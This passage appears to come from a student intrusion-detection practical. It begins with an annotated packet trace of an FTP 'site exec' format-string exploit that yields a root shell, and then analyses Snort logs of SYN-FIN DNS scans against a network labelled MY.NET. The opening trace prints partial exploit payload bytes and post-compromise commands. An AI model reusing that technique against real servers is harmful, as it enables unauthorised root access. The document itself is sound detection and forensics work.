00020:  01 01 00 15 04 0B C2 76 F9 37 14 FF 01 9D 80 18   .......v.7......
00030:  7C B4 1A 33 00 00 01 01 08 0A 2B BD 0A 2D 00 E7   |..3......+..-..
00040:  29 2A 32 30 30 2D 78 78 28 B0 FF BF 2D 32 2D 32   )*200-xx(...-2-2
00050:  30 30 30 2D 32 30 30 30 30 30 30 30 30 30 30 30   000-200000000000

Client ACK receiving FTP server's response

+ ETHERNET: ETYPE = 0x0800 : Protocol = IP:  DOD Internet Protocol
```

```
+ IP: ID = 0x699; Proto = TCP; Len: 52
+ TCP: .A....., len:   12, seq: 352256413, ack:3262577396, src: 1035  dst:   21 (FTP)

00000:  00 10 4B 36 55 0D 08 00 20 80 80 C8 08 00 45 00   ..K6U... .....E.
00010:  00 34 06 99 40 00 3E 06 90 60 0A 01 01 01 XX XX   .4..@.>.. .....
00020:  0E 07 04 0B 00 15 14 FF 01 9D C2 76 FA F4 80 10   ...........v....
00030:  7C B4 1C 0D 00 00 01 01 08 0A 00 E7 29 38 2B BD   |...........)8+.
00040:  0A 2D                                             .-

FTP server response to completion of site exec command

+ ETHERNET: ETYPE = 0x0800 : Protocol = IP:  DOD Internet Protocol
+ IP: ID = 0x10C6; Proto = TCP; Len: 493
+ TCP: .AP..., len:  453, seq:3262577396, ack: 352256413, src:   21 (FTP)  dst: 1035
+ FTP: Resp. to Port 1035, '200  (end of 'xx(°ÿ¿%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f'

00000:  08 00 20 80 80 C8 00 10 4B 36 55 0D 08 00 45 10   .. .....K6U...E.
00010:  01 ED 10 C6 40 00 40 06 82 6A XX XX 0E 07 0A 01   ....@.@..j......
00020:  01 01 00 15 04 0B C2 76 FA F4 14 FF 01 9D 80 18   .......v........
00030:  7C B4 FF A6 00 00 01 01 08 0A 2B BD 0A 35 00 E7   |.........+..5..
00040:  29 38 32 30 30 20 20 28 65 6E 64 20 6F 66 20 27   )8200  (end of '
00050:  78 78 28 B0 FF BF 25 2E 66 25 2E 66 25 2E 66 25   xx(...%.f%.f%.f%

Client ACK receiving FTP server's response

+ ETHERNET: ETYPE = 0x0800 : Protocol = IP:  DOD Internet Protocol
+ IP: ID = 0x69B; Proto = TCP; Len: 52
+ TCP: .A....., len:   12, seq: 352256413, ack:3262577837, src: 1035  dst:   21 (FTP)

00000:  00 10 4B 36 55 0D 08 00 20 80 80 C8 08 00 45 00   ..K6U... .....E.
00010:  00 34 06 9B 40 00 3E 06 90 5E 0A 01 01 01 XX XX   .4..@.>..^......
00020:  0E 07 04 0B 00 15 14 FF 01 9D C2 76 FC AD 80 10   ...........v....
00030:  7C B4 1A 44 00 00 01 01 08 0A 00 E7 29 40 2B BD   |..D........)@+.
00040:  0A 35                                             .5

Client sending code sequence to enter malicious shellcode

+ ETHERNET: ETYPE = 0x0800 : Protocol = IP:  DOD Internet Protocol
+ IP: ID = 0x69D; Proto = TCP; Len: 501
+ TCP: .AP..., len:  461, seq: 352256413, ack:3262577837, src: 1035  dst:   21 (FTP)
+ FTP: Req. from Port 1035, 'site exec xx(°ÿÿ¿%d%.134699076d.f%.f%.f%.f%.f%.f%.'

00000:  00 10 4B 36 55 0D 08 00 20 80 80 C8 08 00 45 00   ..K6U... .....E.
00010:  01 F5 06 9D 40 00 3E 06 8E 9B 0A 01 01 01 XX XX   ....@.>.........
00020:  0E 07 04 0B 00 15 14 FF 01 9D C2 76 FC AD 80 18   ...........v....
00030:  7C B4 B5 87 00 00 01 01 08 0A 00 E7 2A 08 2B BD   |...........*.+.
00040:  0A 35 73 69 74 65 20 65 78 65 63 20 78 78 28 B0   .5site exec xx(.
00050:  FF FF BF 25 64 25 2E 31 33 34 36 39 39 30 37 36   ...%d%.134699076

FTP server ACK receiving site exec packet

+ ETHERNET: ETYPE = 0x0800 : Protocol = IP:  DOD Internet Protocol
+ IP: ID = 0x10C8; Proto = TCP; Len: 52
+ TCP: .A....., len:   12, seq:3262577837, ack: 352256862, src:   21 (FTP)  dst: 1035

00000:  08 00 20 80 80 C8 00 10 4B 36 55 0D 08 00 45 10   .. .....K6U...E.
00010:  00 34 10 C8 40 00 40 06 84 21 XX XX 0E 07 0A 01   .4..@.@..!......
00020:  01 01 00 15 04 0B C2 76 FC AD 14 FF 03 5E 80 10   .......v.....^..
00030:  7C B4 16 E3 00 00 01 01 08 0A 2B BD 0B 0D 00 E7   |.........+.....
00040:  2A 08                                             *.

Client sending unix commands to shellcode on ftp server (uname and id)

+ ETHERNET: ETYPE = 0x0800 : Protocol = IP:  DOD Internet Protocol
+ IP: ID = 0x69F; Proto = TCP; Len: 79
+ TCP: .AP..., len:   39, seq: 352256862, ack:3262577837, src: 1035  dst:   21 (FTP)
+ FTP: Req. from Port 1035, '/bin/uname -a;/usr/bin/id;'

00000:  00 10 4B 36 55 0D 08 00 20 80 80 C8 08 00 45 00   ..K6U... .....E.
00010:  00 4F 06 9F 40 00 3E 06 90 3F 0A 01 01 01 8C C2   .O..@.>..?......
00020:  0E 07 04 0B 00 15 14 FF 03 5E C2 76 FC AD 80 18   .........^.v....
00030:  7C B4 17 E2 00 00 01 01 08 0A 00 E7 2A 14 2B BD   |...........*.+.
00040:  0B 0D 2F 62 69 6E 2F 75 6E 61 6D 65 20 2D 61 3B   ../bin/uname -a;
00050:  2F 75 73 72 2F 62 69 6E 2F 69 64 3B 0A            /usr/bin/id;.

FTP Server ACK receiving unix command packet

+ ETHERNET: ETYPE = 0x0800 : Protocol = IP:  DOD Internet Protocol
+ IP: ID = 0x10CA; Proto = TCP; Len: 52
+ TCP: .A....., len:   12, seq:3262577837, ack: 352256889, src:   21 (FTP)  dst: 1035
```

```
00000:  08 00 20 80 80 C8 00 10 4B 36 55 0D 08 00 45 10   .. .....K6U...E.
00010:  00 34 10 CA 40 00 40 06 84 1F XX XX 0E 07 0A 01   .4..@.@.........
00020:  01 01 00 15 04 0B C2 76 FC AD 14 FF 03 79 80 10   .......v.....y..
00030:  7C B4 16 B4 00 00 01 01 08 0A 2B BD 0B 15 00 E7   |.........+.....
00040:  2A 14                                             *.

FTP Server sending output from uname command execution

+ ETHERNET: ETYPE = 0x0800 : Protocol = IP:  DOD Internet Protocol
+ IP: ID = 0x10CC; Proto = TCP; Len: 121
+ TCP: .AP..., len:   81, seq:3262577837, ack: 352256889, src:   21 (FTP)  dst: 1035
+ FTP: Resp. to Port 1035, 'Linux drt14-7 2.2.14-5.0 #1 Tue Mar 7 20:53:41 EST'

00000:  08 00 20 80 80 C8 00 10 4B 36 55 0D 08 00 45 10   .. .....K6U...E.
00010:  00 79 10 CC 40 00 40 06 83 D8 XX XX 0E 07 0A 01   .y..@.@.........
00020:  01 01 00 15 04 0B C2 76 FC AD 14 FF 03 79 80 18   .......v.....y..
00030:  7C B4 B2 B4 00 00 01 01 08 0A 2B BD 1D 4F 00 E7   |.........+..O..
00040:  2A 14 4C 69 6E 75 78 20 64 72 74 31 34 2D 37 20   *.Linux drt14-7
00050:  32 2E 32 2E 31 34 2D 35 2E 30 20 23 31 20 54 75   2.2.14-5.0 #1 Tu

Client ACK receiving output packet

+ ETHERNET: ETYPE = 0x0800 : Protocol = IP:  DOD Internet Protocol
+ IP: ID = 0x6A1; Proto = TCP; Len: 52
+ TCP: .A....., len:   12, seq: 352256889, ack:3262577906, src: 1035  dst:   21 (FTP)

00000:  00 10 4B 36 55 0D 08 00 20 80 80 C8 08 00 45 00   ..K6U... .....E.
00010:  00 34 06 A1 40 00 3E 06 90 58 0A 01 01 01 XX XX   .4..@.>..X......
00020:  0E 07 04 0B 00 15 14 FF 03 79 C2 76 FC F2 80 10   .........y.v....
00030:  7C B4 F1 EE 00 00 01 01 08 0A 00 E7 3C 5A 2B BD   |...........<Z+.
00040:  1D 4F                                             .O

FTP Server sending output from id command showing process is running as root (UID=0)


+ ETHERNET: ETYPE = 0x0800 : Protocol = IP:  DOD Internet Protocol
+ IP: ID = 0x10CD; Proto = TCP; Len: 104
+ TCP: .AP..., len:   64, seq:3262577906, ack: 352256889, src:   21 (FTP)  dst: 1035
+ FTP: Resp. to Port 1035, 'uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp'

00000:  08 00 20 80 80 C8 00 10 4B 36 55 0D 08 00 45 10   .. .....K6U...E.
00010:  00 68 10 CD 40 00 40 06 83 E8 XX XX 0E 07 0A 01   .h..@.@.........
00020:  01 01 00 15 04 0B C2 76 FC F2 14 FF 03 79 80 18   .......v.....y..
00030:  7C B4 4C A8 00 00 01 01 08 0A 2B BD 1D 57 00 E7   |.L.......+..W..
00040:  3C 5A 75 69 64 3D 30 28 72 6F 6F 74 29 20 67 69   <Zuid=0(root) gi
00050:  64 3D 30 28 72 6F 6F 74 29 20 65 67 69 64 3D 35   d=0(root) egid=5

The client now owns this system
```

Assignment 3 – "Analyze This" Scenario

First a couple of questions – Are the log file from only 1 system or are they from multiple systems and if multiple systems is the time in sync? Why are there duplicates of the log files? For example, files SnortA11.txt, SnortA12.txt and SnortA7.txt are the same. The snort filters being used to generate the logs should have been provided, in order to know what is being captured and what is missed. Also should have a list of hosts and the services running on them. A network configuration diagram would be nice. Finally where is the snort probe in relation to the local system and the external gateways.

File "SnortA2.txt" - Snort Alert Report at Wed May 24 00:05:10 2000
File "SnortA3.txt" - Snort Alert Report at Thu May 25 00:05:14 2000
File "SnortA4.txt" - Snort Alert Report at Thu May 25 00:05:14 2000
File "SnortA5.txt" - Snort Alert Report at Fri May 26 00:05:27 2000
File "SnortA6.txt" - Snort Alert Report at Sun May 28 00:05:25 2000
File "SnortA7.txt" - Snort Alert Report at Mon May 29 00:05:40 2000
File "SnortA8.txt" - Snort Alert Report at Fri May 26 00:05:27 2000

File “SnortA9.txt” - Snort Alert Report at Sun May 28 00:05:25 2000
File “SnortA10.txt” - Snort Alert Report at Sat May 27 00:05:23 2000
File “SnortA11.txt” - Snort Alert Report at Mon May 29 00:05:40 2000
File “SnortA12.txt” - Snort Alert Report at Mon May 29 00:05:40 2000
File “SnortA13.txt” - Snort Alert Report at Tue May 30 00:05:54 2000
File “SnortA14.txt” - Snort Alert Report at Tue May 30 00:05:54 2000
File “SnortA15.txt” - Snort Alert Report at Thu Jun 1 00:05:31 2000
File “SnortA16.txt” - Snort Alert Report at Fri Jun 2 00:06:13 2000
File “SnortA17.txt” - Snort Alert Report at Wed May 17 00:06:55 2000
File “SnortA18.txt” - Snort Alert Report at Tue Jun 13 00:05:32 2000
File “SnortA19.txt” - Snort Alert Report at Wed Jun 14 00:05:42 2000
File “SnortA20.txt” - Snort Alert Report at Tue Jun 13 00:05:32 2000
File “SnortA21.txt” - Snort Alert Report at Sat Jun 17 00:05:29 2000
File “SnortA22.txt” - Snort Alert Report at Mon Jun 19 00:05:27 2000
File “SnortA23.txt” - Snort Alert Report at Tue Jun 20 00:05:29 2000
File “SnortA24.txt” - Snort Alert Report at Wed Jun 21 00:05:34 2000
File “SnortA25.txt” - Snort Alert Report at Fri Jun 23 00:05:31 2000
File “SnortA26.txt” - Snort Alert Report at Sat Jun 24 00:05:15 2000
File “SnortA28.txt” - Snort Alert Report at Tue May 23 00:05:13 2000
File “SnortS2.txt” - Snort Scan Report at Fri May 26 00:10:02 2000
File “SnortS3.txt” - Snort Scan Report at Sat Jun 3 00:10:10 2000
File “SnortS4.txt” - Snort Scan Report at Mon Jun 5 00:10:47 2000
File “SnortS5.txt” - Snort Scan Report at Tue Jun 6 00:10:25 2000
File “SnortS6.txt” - Snort Scan Report at Wed Jun 7 00:10:02 2000
File “SnortS7.txt” - Snort Scan Report at Sun May 28 00:10:03 2000
File “SnortS8.txt” - Snort Scan Report at Sat May 27 00:10:09 2000
File “SnortS9.txt” - Snort Scan Report at Sat May 27 00:10:09 2000
File “SnortS10.txt” - Snort Scan Report at Sun Jun 11 00:10:07 2000
File “SnortS11.txt” - Snort Scan Report at Mon Jun 12 00:10:08 2000
File “SnortS12.txt” - Snort Scan Report at Fri Jun 16 00:10:10 2000
File “SnortS13.txt” - Snort Scan Report at Sat Jun 17 00:10:03 2000
File “SnortS14.txt” - Snort Scan Report at Sun Jun 18 00:10:06 2000
File “SnortS15.txt” - Snort Scan Report at Mon Jun 19 00:10:03 2000
File “SnortS17.txt” - Snort Scan Report at Fri Jun 2 00:10:28 2000
File “SnortS18.txt” - Snort Scan Report at Thu Jun 8 00:10:04 2000
File “SnortS21.txt” - Snort Scan Report at Tue Jun 13 00:10:03 2000
File “SnortS25.txt” - Snort Scan Report at Wed Jun 21 00:10:03 2000
File “SnortS26.txt” - Snort Scan Report at Fri Jun 23 00:10:02 2000
File “SnortS27.txt” - Snort Scan Report at Sat Jun 24 00:10:02 2000
File “SnortSca.txt” - Snort Scan Report at Thu May 25 00:10:02 2000
File “SnortAle.txt” - Snort Alert Report at Wed May 24 00:05:10 2000
File “OOSche25.txt”– Snort Packet Dump May 22 23:23:56
File “OOScheck.txt” – Snort Packet Dump June 11 23:57:33

From logfile SnortA19.txt, a SYN-FIN (illegal TCP flag combination) scan by 204.60.176.2 (Southern Net England Telephone) on MY.NET network using a source

and destination port of 53 (DNS). User is probably trying to discover hosts or DNS servers on MY.NET.
It started at 6/13-01:30:39 and finished at 06/13-01:52:15

```
06/13-01:30:39.786268  [**] SYN-FIN scan! [**] 204.60.176.2:53 -> MY.NET.1.1:53
06/13-01:30:39.804052  [**] SYN-FIN scan! [**] 204.60.176.2:53 -> MY.NET.1.2:53
06/13-01:30:39.824597  [**] SYN-FIN scan! [**] 204.60.176.2:53 -> MY.NET.1.3:53
06/13-01:30:39.846143  [**] SYN-FIN scan! [**] 204.60.176.2:53 -> MY.NET.1.4:53
06/13-01:30:39.861924  [**] SYN-FIN scan! [**] 204.60.176.2:53 -> MY.NET.1.5:53
06/13-01:30:39.886276  [**] SYN-FIN scan! [**] 204.60.176.2:53 -> MY.NET.1.6:53
06/13-01:30:39.902040  [**] SYN-FIN scan! [**] 204.60.176.2:53 -> MY.NET.1.7:53
06/13-01:30:39.923536  [**] SYN-FIN scan! [**] 204.60.176.2:53 -> MY.NET.1.8:53
06/13-01:30:39.951276  [**] SYN-FIN scan! [**] 204.60.176.2:53 -> MY.NET.1.9:53
06/13-01:30:39.964928  [**] SYN-FIN scan! [**] 204.60.176.2:53 -> MY.NET.1.10:53
(and the scan continues on)
```

From logfile SnortA28.txt, a SYN-FIN (illegal TCP flag combination) scan from 142.150.225.137 (University of Toronto) on MY.NET network using a source and destination port of 53 (DNS). More probing MY.NET to discover hosts or DNS servers on it. It started at 05/22-08:38:57 and finished at 05/22-09:00:32

```
05/22-08:38:57.472212  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.1:53
05/22-08:38:57.512513  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.3:53
05/22-08:38:57.532652  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.4:53
05/22-08:38:57.592662  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.7:53
(and the scan continues on)
```

From OOSche25.txt it shows that the SYN-FIN DNS scan is a crafted packet, with the ID, ACK and Sequence number staying the same between packets

```
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
05/22-08:38:59.989045 142.150.225.137:53 -> MY.NET.1.1:53
TCP TTL:31 TOS:0x0 ID:39426
**SF**** Seq: 0x3679EBA9   Ack: 0x70DEAE94   Win: 0x404
00 00 00 00 00 00                         ......

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
05/22-08:39:00.029136 142.150.225.137:53 -> MY.NET.1.3:53
TCP TTL:31 TOS:0x0 ID:39426
**SF**** Seq: 0x3679EBA9   Ack: 0x70DEAE94   Win: 0x404
00 00 00 00 00 00                         ......

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
05/22-08:39:00.049643 142.150.225.137:53 -> MY.NET.1.4:53
TCP TTL:31 TOS:0x0 ID:39426
**SF**** Seq: 0x3679EBA9   Ack: 0x70DEAE94   Win: 0x404
00 00 00 00 00 00                         ......

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
05/22-08:39:00.109321 142.150.225.137:53 -> MY.NET.1.7:53
TCP TTL:31 TOS:0x0 ID:39426
**SF**** Seq: 0x3679EBA9   Ack: 0x70DEAE94   Win: 0x404
00 00 00 00 00 00                         ......
(and the scan continues on…)
```

From SnortS11.txt we another SYN,FIN scan from 24.27.187.245 (Road Runner) on MY.NET address space with a source and destination port of 53. Another host discovery scan.

```
Jun 11 23:54:17 24.27.187.245:53 -> MY.NET.1.1:53 SYNFIN **SF****
Jun 11 23:54:17 24.27.187.245:53 -> MY.NET.1.10:53 SYNFIN **SF****
```

```
Jun 11 23:54:17 24.27.187.245:53 -> MY.NET.1.11:53 SYNFIN **SF****
Jun 11 23:54:17 24.27.187.245:53 -> MY.NET.11.1:53 SYNFIN **SF****
Jun 11 23:54:17 24.27.187.245:53 -> MY.NET.111.10:53 SYNFIN **SF****
Jun 11 23:54:17 24.27.187.245:53 -> MY.NET.111.11:53 SYNFIN **SF****
Jun 11 23:54:17 24.27.187.245:53 -> MY.NET.111.110:53 SYNFIN **SF****
Jun 11 23:54:17 24.27.187.245:53 -> MY.NET.111.111:53 SYNFIN **SF****
Jun 11 23:54:17 24.27.187.245:53 -> MY.NET.111.112:53 SYNFIN **SF****
Jun 11 23:54:17 24.27.187.245:53 -> MY.NET.111.113:53 SYNFIN **SF****
(and the scan continues on…)
```

From logfile OOScheck.txt, here is the same packet from the above session showing it is a crafted packet, with the Packet Id, Sequence Number and Ack Number staying the same between packets. The timestamp between these the above and below session are off about 9 seconds – must be two different machines, each running a copy of snort.

```
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/11-23:54:26.017219 24.27.187.245:53 -> MY.NET.1.1:53
TCP TTL:19 TOS:0x0 ID:39426
**SF**** Seq: 0x10FC25F1   Ack: 0x77935439   Win: 0x404
00 00 00 00 00 00                         ......

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/11-23:54:26.021447 24.27.187.245:53 -> MY.NET.1.10:53
TCP TTL:19 TOS:0x0 ID:39426
**SF**** Seq: 0x10FC25F1   Ack: 0x77935439   Win: 0x404
00 00 00 00 00 00                         ......

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/11-23:54:26.025473 24.27.187.245:53 -> MY.NET.1.11:53
TCP TTL:19 TOS:0x0 ID:39426
**SF**** Seq: 0x10FC25F1   Ack: 0x77935439   Win: 0x404
00 00 00 00 00 00                         ......

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/11-23:54:26.031304 24.27.187.245:53 -> MY.NET.11.1:53
TCP TTL:19 TOS:0x0 ID:39426
**SF**** Seq: 0x10FC25F1   Ack: 0x77935439   Win: 0x404
00 00 00 00 00 00                         ......
```

From OOScheck.txt we find the following request/response - MY.NET.181.131 must be a DNS server that will respond to 24.27.187.245

```
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/11-23:55:34.643260 24.27.187.245:53 -> MY.NET.181.131:53
TCP TTL:19 TOS:0x0 ID:39426
**SF**** Seq: 0x40617F5C   Ack: 0x4348DC56   Win: 0x404
00 00 00 00 00 00                         ......

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/11-23:55:34.643614 MY.NET.181.131:53 -> 24.27.187.245:53
TCP TTL:63 TOS:0x0 ID:41441
**SF**A* Seq: 0xC5AA06   Ack: 0x40617F5D   Win: 0x7FE0
TCP Options => MSS: 536
02 18                                     ..
```

And from SnortS11.txt we see that 24.27.187.245 tries these additional probes – these systems must have responsed from the previous probe. These system are probably running BIND on them.

```
Jun 11 23:54:25 24.27.187.245:1970 -> MY.NET.1.3:53 SYN **S*****
Jun 11 23:54:25 24.27.187.245:2745 -> MY.NET.1.3:53 UDP
Jun 11 23:54:25 24.27.187.245:1971 -> MY.NET.130.122:53 SYN **S*****
```

```
Jun 11 23:54:25 24.27.187.245:2748 -> MY.NET.130.122:53 UDP
Jun 11 23:54:26 24.27.187.245:1972 -> MY.NET.130.134:53 SYN **S*****
Jun 11 23:54:26 24.27.187.245:2749 -> MY.NET.130.134:53 UDP
Jun 11 23:54:27 24.27.187.245:1973 -> MY.NET.1.4:53 SYN **S*****
Jun 11 23:54:27 24.27.187.245:2750 -> MY.NET.1.4:53 UDP
Jun 11 23:54:48 24.27.187.245:1974 -> MY.NET.1.5:53 SYN **S*****
Jun 11 23:54:48 24.27.187.245:2751 -> MY.NET.1.5:53 UDP
Jun 11 23:55:26 24.27.187.245:1976 -> MY.NET.181.131:53 SYN **S*****
Jun 11 23:55:26 24.27.187.245:2752 -> MY.NET.181.131:53 UDP
Jun 11 23:55:28 24.27.187.245:1977 -> MY.NET.181.88:53 SYN **S*****
Jun 11 23:55:29 24.27.187.245:2753 -> MY.NET.181.88:53 UDP
Jun 11 23:55:38 24.27.187.245:1978 -> MY.NET.1.9:53 SYN **S*****
Jun 11 23:55:38 24.27.187.245:2754 -> MY.NET.1.9:53 UDP
Jun 11 23:57:14 24.27.187.245:2755 -> MY.NET.76.11:53 UDP
Jun 11 23:57:19 24.27.187.245:1980 -> MY.NET.97.29:53 SYN **S*****
Jun 11 23:57:19 24.27.187.245:2756 -> MY.NET.97.29:53 UDP
```

From SnortS3.txt we have another SYN,FIN scan on the DNS port 53 from 209.203.5.158 (Global Internet Access – ISP). It started on Jun 2 11:55:26 and finished at Jun 2 12:17:02, scanning most on the MY.NET address space

```
Jun  2 11:55:26 209.203.5.158:53 -> MY.NET.1.1:53 SYNFIN **SF****
Jun  2 11:55:26 209.203.5.158:53 -> MY.NET.1.2:53 SYNFIN **SF****
Jun  2 11:55:26 209.203.5.158:53 -> MY.NET.1.3:53 SYNFIN **SF****
Jun  2 11:55:27 209.203.5.158:53 -> MY.NET.1.10:53 SYNFIN **SF****
Jun  2 11:55:27 209.203.5.158:53 -> MY.NET.1.12:53 SYNFIN **SF****
Jun  2 11:55:27 209.203.5.158:53 -> MY.NET.1.13:53 SYNFIN **SF****
Jun  2 11:55:27 209.203.5.158:53 -> MY.NET.1.14:53 SYNFIN **SF****
Jun  2 11:55:27 209.203.5.158:53 -> MY.NET.1.16:53 SYNFIN **SF****
Jun  2 11:55:27 209.203.5.158:53 -> MY.NET.1.17:53 SYNFIN **SF****
Jun  2 11:55:27 209.203.5.158:53 -> MY.NET.1.18:53 SYNFIN **SF****
(and the scan continues on…)
```

The hosts are interest from this scan are listed below. We see a lot of activity on MY.NET.3/4/5. This activity might be due to the possibility they are running a vulnerable version of BIND.

```
Jun  2 11:55:33 209.203.5.158:4980 -> MY.NET.1.3:53 SYN **S*****
Jun  2 11:55:34 209.203.5.158:4560 -> MY.NET.1.3:53 UDP
Jun  2 11:55:33 209.203.5.158:4981 -> MY.NET.1.4:53 SYN **S*****
Jun  2 11:55:33 209.203.5.158:4982 -> MY.NET.1.5:53 SYN **S*****
Jun  2 11:55:34 209.203.5.158:4564 -> MY.NET.1.5:53 UDP
Jun  2 11:55:34 209.203.5.158:4566 -> MY.NET.1.9:53 UDP
Jun  2 11:55:50 209.203.5.158:53 -> MY.NET.1.5:53 UDP
Jun  2 11:55:50 209.203.5.158:53 -> MY.NET.1.4:53 UDP
Jun  2 11:55:51 209.203.5.158:53 -> MY.NET.1.3:53 UDP
Jun  2 11:55:51 209.203.5.158:4984 -> MY.NET.5.117:53 SYN **S*****
Jun  2 12:01:24 209.203.5.158:137 -> MY.NET.70.234:1051 UDP
Jun  2 12:01:45 209.203.5.158:4985 -> MY.NET.75.1:53 SYN **S*****
Jun  2 12:01:45 209.203.5.158:4568 -> MY.NET.75.1:53 UDP
Jun  2 12:01:44 209.203.5.158:53 -> MY.NET.1.4:53 UDP
Jun  2 12:01:50 209.203.5.158:53 -> MY.NET.1.3:53 UDP
Jun  2 12:01:50 209.203.5.158:4986 -> MY.NET.75.255:53 SYN **S*****
Jun  2 12:01:51 209.203.5.158:4570 -> MY.NET.76.11:53 UDP
Jun  2 12:03:37 209.203.5.158:53 -> MY.NET.1.4:53 UDP
Jun  2 12:03:48 209.203.5.158:137 -> MY.NET.99.57:1153 UDP
Jun  2 12:04:39 209.203.5.158:4990 -> MY.NET.109.38:53 SYN **S*****
Jun  2 12:04:40 209.203.5.158:4576 -> MY.NET.109.40:53 UDP
Jun  2 12:04:39 209.203.5.158:53 -> MY.NET.1.4:53 UDP
Jun  2 12:04:41 209.203.5.158:4575 -> MY.NET.109.38:53 UDP
Jun  2 12:04:44 209.203.5.158:53 -> MY.NET.1.5:53 UDP
Jun  2 12:04:45 209.203.5.158:4995 -> MY.NET.110.16:53 SYN **S*****
Jun  2 12:04:46 209.203.5.158:4583 -> MY.NET.110.16:53 UDP
Jun  2 12:04:45 209.203.5.158:53 -> MY.NET.110.100:53 UDP
Jun  2 12:04:51 209.203.5.158:53 -> MY.NET.110.100:53 UDP
```

```
Jun  2 12:04:54 209.203.5.158:53 -> MY.NET.110.100:53 UDP
Jun  2 12:05:00 209.203.5.158:4588 -> MY.NET.110.110:53 UDP
Jun  2 12:05:00 209.203.5.158:53 -> MY.NET.110.131:53 UDP
Jun  2 12:06:28 209.203.5.158:53 -> MY.NET.1.3:53 UDP
Jun  2 12:06:28 209.203.5.158:4998 -> MY.NET.130.122:53 SYN **S*****
Jun  2 12:06:29 209.203.5.158:4999 -> MY.NET.130.134:53 SYN **S*****
Jun  2 12:06:30 209.203.5.158:4592 -> MY.NET.130.122:53 UDP
Jun  2 12:06:30 209.203.5.158:4593 -> MY.NET.130.134:53 UDP
Jun  2 12:07:16 209.203.5.158:53 -> MY.NET.1.4:53 UDP
Jun  2 12:07:18 209.203.5.158:53 -> MY.NET.1.5:53 UDP
Jun  2 12:07:19 209.203.5.158:53 -> MY.NET.1.5:53 UDP
Jun  2 12:07:20 209.203.5.158:53 -> MY.NET.1.4:53 UDP
Jun  2 12:07:22 209.203.5.158:53 -> MY.NET.1.4:53 UDP
Jun  2 12:07:27 209.203.5.158:1025 -> MY.NET.140.255:53 SYN **S*****
Jun  2 12:07:27 209.203.5.158:1026 -> MY.NET.140.17:53 SYN **S*****
Jun  2 12:07:28 209.203.5.158:53 -> MY.NET.1.5:53 UDP
Jun  2 12:07:33 209.203.5.158:53 -> MY.NET.1.3:53 UDP
Jun  2 12:07:33 209.203.5.158:1028 -> MY.NET.140.16:53 SYN **S*****
Jun  2 12:07:33 209.203.5.158:4609 -> MY.NET.140.17:53 UDP
Jun  2 12:07:34 209.203.5.158:53 -> MY.NET.1.5:53 UDP
Jun  2 12:07:35 209.203.5.158:53 -> MY.NET.1.4:53 UDP
Jun  2 12:07:37 209.203.5.158:53 -> MY.NET.1.3:53 UDP
Jun  2 12:07:39 209.203.5.158:53 -> MY.NET.1.4:53 UDP
Jun  2 12:07:40 209.203.5.158:53 -> MY.NET.1.4:53 UDP
Jun  2 12:07:41 209.203.5.158:53 -> MY.NET.1.5:53 UDP
Jun  2 12:07:43 209.203.5.158:53 -> MY.NET.1.3:53 UDP
Jun  2 12:07:44 209.203.5.158:4606 -> MY.NET.140.17:53 UDP
Jun  2 12:07:45 209.203.5.158:53 -> MY.NET.1.4:53 UDP
Jun  2 12:07:45 209.203.5.158:53 -> MY.NET.1.5:53 UDP
Jun  2 12:07:46 209.203.5.158:53 -> MY.NET.1.3:53 UDP
Jun  2 12:08:45 209.203.5.158:53 -> MY.NET.1.5:53 UDP
Jun  2 12:08:45 209.203.5.158:53 -> MY.NET.1.4:53 UDP
Jun  2 12:08:46 209.203.5.158:53 -> MY.NET.1.3:53 UDP
Jun  2 12:08:49 209.203.5.158:53 -> MY.NET.1.4:53 UDP
Jun  2 12:08:50 209.203.5.158:53 -> MY.NET.1.3:53 UDP
Jun  2 12:08:52 209.203.5.158:53 -> MY.NET.1.3:53 UDP
Jun  2 12:08:58 209.203.5.158:53 -> MY.NET.1.5:53 UDP
Jun  2 12:08:58 209.203.5.158:4630 -> MY.NET.157.112:53 UDP
Jun  2 12:08:59 209.203.5.158:53 -> MY.NET.1.4:53 UDP
Jun  2 12:09:03 209.203.5.158:53 -> MY.NET.1.4:53 UDP
Jun  2 12:09:06 209.203.5.158:4634 -> MY.NET.157.112:53 UDP
Jun  2 12:09:06 209.203.5.158:53 -> MY.NET.1.5:53 UDP
Jun  2 12:09:11 209.203.5.158:53 -> MY.NET.1.4:53 UDP
Jun  2 12:09:12 209.203.5.158:53 -> MY.NET.1.5:53 UDP
Jun  2 12:09:18 209.203.5.158:53 -> MY.NET.1.3:53 UDP
Jun  2 12:09:19 209.203.5.158:53 -> MY.NET.1.5:53 UDP
Jun  2 12:10:53 209.203.5.158:53 -> MY.NET.1.3:53 UDP
Jun  2 12:10:57 209.203.5.158:4640 -> MY.NET.181.131:53 UDP
